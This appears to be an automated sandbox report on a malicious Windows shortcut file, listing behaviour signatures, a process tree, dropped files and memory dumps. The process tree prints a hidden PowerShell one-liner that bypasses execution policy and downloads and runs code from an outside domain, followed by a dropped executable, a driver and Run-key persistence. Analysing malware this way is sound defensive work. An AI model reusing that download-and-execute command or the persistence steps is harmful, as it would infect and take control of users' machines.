Analysis
- max time kernel
150s - max time network
124s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
- submitted
07/07/2026, 12:18
General
- Target photo-5455117028601.lnk
- Size 1KB
- Sample260707-pgm72shw71
- SHA256 b8e17e7cfe116fe7e755a3113895c59e55353ba6778e79238f991421f669347e
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: LoadsDriver 3 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photo-5455117028601.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Hidden -ExecutionPolicy Bypass -c "iex(irm sizyrotiqnsa.com)"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -c "iex(irm sizyrotiqnsa.com)"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\psl.exe"C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
-
-
-
-
C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\psl.exe"C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\psl.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"2⤵
-
-
C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\WinPslUpd" psl.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\WinPslUpd\psl.exe"C:\ProgramData\WinPslUpd\psl.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
xgmqra9_k_ptboyt.zip
VCRUNTIME140.dll
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libunistring-5.dll
msvcp140.dll
psl.exe
ucrtbase.dll
vcruntime140_1.dll
DCRCVDrv.sys
memory/2948-124-0x00007FF7599F0000-0x00007FF759A05000-memory.dmp
memory/2960-88-0x0000000000010000-0x000000000003D000-memory.dmp
memory/5140-107-0x00007FF78D370000-0x00007FF78D385000-memory.dmp
memory/5712-118-0x00007FF78D370000-0x00007FF78D385000-memory.dmp
memory/6120-13-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-16-0x000001933D3F0000-0x000001933D5B2000-memory.dmp
memory/6120-21-0x000001933D340000-0x000001933D35E000-memory.dmp
memory/6120-22-0x000001933D5C0000-0x000001933D672000-memory.dmp
memory/6120-23-0x000001933D330000-0x000001933D33A000-memory.dmp
memory/6120-25-0x000001933D390000-0x000001933D3B4000-memory.dmp
memory/6120-24-0x000001933D390000-0x000001933D3BA000-memory.dmp
memory/6120-26-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-27-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-28-0x000001933D350000-0x000001933D35A000-memory.dmp
memory/6120-30-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-31-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-32-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-34-0x000001933D360000-0x000001933D372000-memory.dmp
memory/6120-17-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-18-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-78-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-15-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-14-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-0-0x00007FFB192FF000-0x00007FFB19300000-memory.dmp
memory/6120-12-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-11-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-10-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-9-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-8-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-7-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-6-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-5-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp
memory/6120-4-0x000001933CE00000-0x000001933CE22000-memory.dmp
memory/6120-1-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp